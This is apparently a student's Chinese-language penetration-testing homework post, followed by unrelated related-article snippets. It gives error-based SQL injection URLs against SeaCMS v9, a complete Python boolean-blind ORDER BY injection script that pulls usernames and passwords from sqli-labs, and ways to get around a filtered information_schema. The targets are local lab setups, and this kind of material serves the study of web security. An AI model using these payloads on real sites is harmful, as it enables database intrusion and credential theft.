渗透第二次作业

server/2025/3/1 3:33:25/
1、seacmsv9报错注入出管理员账号密码

注入漏洞的文件路径:seacmsv9.1\upload\comment\api\index.php

注入点:&$rlist

经源代码分析,可用以下语句注入,得到用户名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`

用以下语句注入出数据库名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20database()))),@`%27`

用以下语句注入出表名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),@`%27`

结果注入失败

2、orderby的布尔盲注

布尔盲注:

import requests
from lxml import htmldef get_id_one(URL, paload):res = requests.get(url=URL, params=paload)tree = html.fromstring(res.content)id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()return id_one# 获取数据库名
def database(URL):dataname = ""for i in range(1, 10):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}id_one = get_id_one(URL, paload)if id_one == "1":hight = midmid = (low + hight) // 2else:low = mid + 1mid = (low + hight) // 2dataname += chr(mid)print(dataname)# 获取表名
def table_name(URL):tables = ""for i in range(1, 40):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2tables += chr(mid)print(tables)# 获取字段名
def column_name(URL):columns = ""for i in range(1, 25):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2columns += chr(mid)print(columns)# 获取数据
def datas(URl):data = ""for i in range(1, 50):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2data += chr(mid)print(data)if __name__ == '__main__':URL = "http://127.0.0.1/sqlilabs/Less-46/index.php"database(URL)table_name(URL)column_name(URL)datas(URL)

结果:

3、过滤information_schema,如何解决
如果information_schema被过滤掉了,该如何查询数据方法一:利用sys数据库查看所有数据库名:
SELECT DISTINCT table_schema FROM sys.schema_table_statistics;查看数据库中所有表名:
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema = 'seacms';#sys.schema_auto_increment_columns 
#sys.schema_table_statistics_with_buffer
#mysql.innodb_table_stats
#mysql.innodb_table_index
#均可代替 information_schema方法二:无列名注入利用 join-using 注列名获取表名:
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+获取字段名:
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username,password))c--+

http://www.ppmy.cn/server/171453.html

相关文章

Logic-RL: 小模型也能强推理,通过基于规则的强化学习提升大语言模型结构化推理能力

这篇论文探讨了基于规则的强化学习(RL)如何解锁LLM中的高级推理能力。通过在受控的逻辑谜题上进行训练并强制执行结构化的思考过程,即使是相对较小的模型也能开发出可转移的问题解决策略。这种方法不仅提高了逻辑任务的性能,而且在…

android studio 中止了一个已建立的连接

试了重启软件或者换镜像源也没用,发现是gradle连下载都没开始。 排查后发现android studio软件和电脑手动开启热点后冲突,把电脑的热点关闭后正常。

CentOS配置静态IP

首先在主机打开cdm 输入命令ipconfig -all 查看主机以太网的IP地址(有线)或者查看WLAN的IP地址(无线) 虚拟机 首先在网络设配器中改为自定义的VMnet8模式 然后在虚拟网络编译器中修改网段 进入虚拟机进行网络配置 输入命令vi…

【多线程-第三天-NSOperation的练习-tableView异步下载网络图片-重构代码-自定义cell Objective-C语言】

一、到现在为止,我们解决了很多很多问题 1.现在基本的问题我们已经解决完了,解决完成之后,代码有点儿多,而且刚刚我们也说过,我在这儿返回cell的时候, 这个方法,代码是不是特别多,两屏幕的代码,关键是这段代码做了两件事情,一件事情是返回cell,还有一件事情是,下载…

Mac安装配置使用nginx的一系列问题

brew安装nginx https://juejin.cn/post/6986190222241464350 使用brew安装nginx,如下命令所示: brew install nginx 如下图所示: 2.查看nginx的配置信息,如下命令: brew info nginxFrom:xxx 这样的,是n…

手机大厂如何处理安卓分屏退出后最近任务显示一半问题?

背景: 近来在有学员朋友在群里讨论到了一个分屏退出后,在桌面最近任务中的卡片显示异常问题,虽然他的问题和目前市场上的最近任务显示一半情况不一样。但是这里也刚好启发了群里vip学员们对这个最近任务对分屏task只显示一半画面问题进行相关…

游戏引擎学习第124天

仓库:https://gitee.com/mrxiao_com/2d_game_3 回顾/复习 今天是继续完善和调试多线程的任务队列。之前的几天,我们已经介绍了多线程的一些基础知识,包括如何创建工作队列以及如何在线程中处理任务。今天,重点是解决那些我们之前没有注意到…

网络安全和爬虫的关系

一.网络爬虫的尺寸 1.以爬取网页,玩转网页为目的进行小规模,数据量小对爬取速度不敏感的可以使用request库实现功能(占90%) 2.以爬取网站或爬取系列网站为目的,比如说获取一个或多个旅游网站的爬虫,对数据…